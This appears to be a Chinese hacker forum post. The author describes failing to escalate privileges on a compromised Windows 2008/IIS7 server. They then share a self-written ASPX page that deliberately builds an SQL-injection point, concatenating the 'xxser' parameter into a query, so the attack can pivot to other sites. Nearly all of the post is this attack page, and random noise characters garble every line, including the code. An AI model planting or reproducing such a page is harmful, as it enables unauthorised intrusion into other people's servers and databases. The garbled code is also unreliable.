昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
. C3 v1 A7 S& u: f- \其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。) G" [9 b. x8 C8 n9 S7 F9 y
代码量不多,自己写个拉倒了。烦死了。
% A: k, r. {' A4 M/ ?' g+ {
% `( ?* |! R! q% p$ n' ]( N+ k' [9 t8 e$ `# O8 A
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">! k+ C8 J* z; I0 U: \3 C& [9 J
<html xmlns="http://www.w3.org/1999/xhtml">1 Z) V( F" h! W1 n: S4 l
<head runat="server">
6 ~. |, @2 e+ j- ^: ? ?3 [ <title>暗影aspx构造注射专用页面</title>
. V6 E, P8 n4 H; t2 o</head>
- w. F2 ~0 q% X1 E" X. M<body>
7 Q' u0 c( Y2 n3 w <form id="form1" runat="server">
- W! N }5 P0 W <div>
# S# n, f N% S% _; U; i <script language="c#" runat="server">' y6 a/ N, q% y
# x7 h0 o0 F& L5 b" r* C% n+ A void page_init(object sender, EventArgs e)% W3 h; Z Z8 @$ ^# O
{7 C( W2 G+ i- ]! Y4 \! U( _
9 J& O/ @3 a C' w& b/ t System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
. O* a8 q. ^; z8 Q3 v3 `' j! H " P M7 O% g+ m* \, f. J2 } K5 T+ C
conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
2 D6 l" d8 y8 H r4 w conn.Open();
2 M \3 t) C K/ F4 d" y% u * |- O' i1 {! A
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
* R/ e# Y3 N6 U- p# L / B7 i# m& T) W/ h
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);5 [( h, G( y8 [4 u2 u- Q
int x = command.ExecuteNonQuery();
$ C9 J+ `% e' m! M, h( k9 R Response.Write(i+"\n"); m- U+ A+ q5 Z, E* X9 m
Response.Write(x);
. B1 ]" D, _: M/ ^. _* c+ L; b) @ conn.Close();: X* i. r4 q) s$ H4 S
}
6 x/ V N- ?' u% ` f ; a9 N& B8 z7 m4 c* `
</script>* g; q) D" ]" J
</div>
$ t, {8 B5 s4 F4 u5 v# c </form>5 I, `; r0 l) [" W- W* g
</body>
0 m, z( l4 z: Y- \$ m% u</html>' L* c/ f" X2 `" x7 ~
|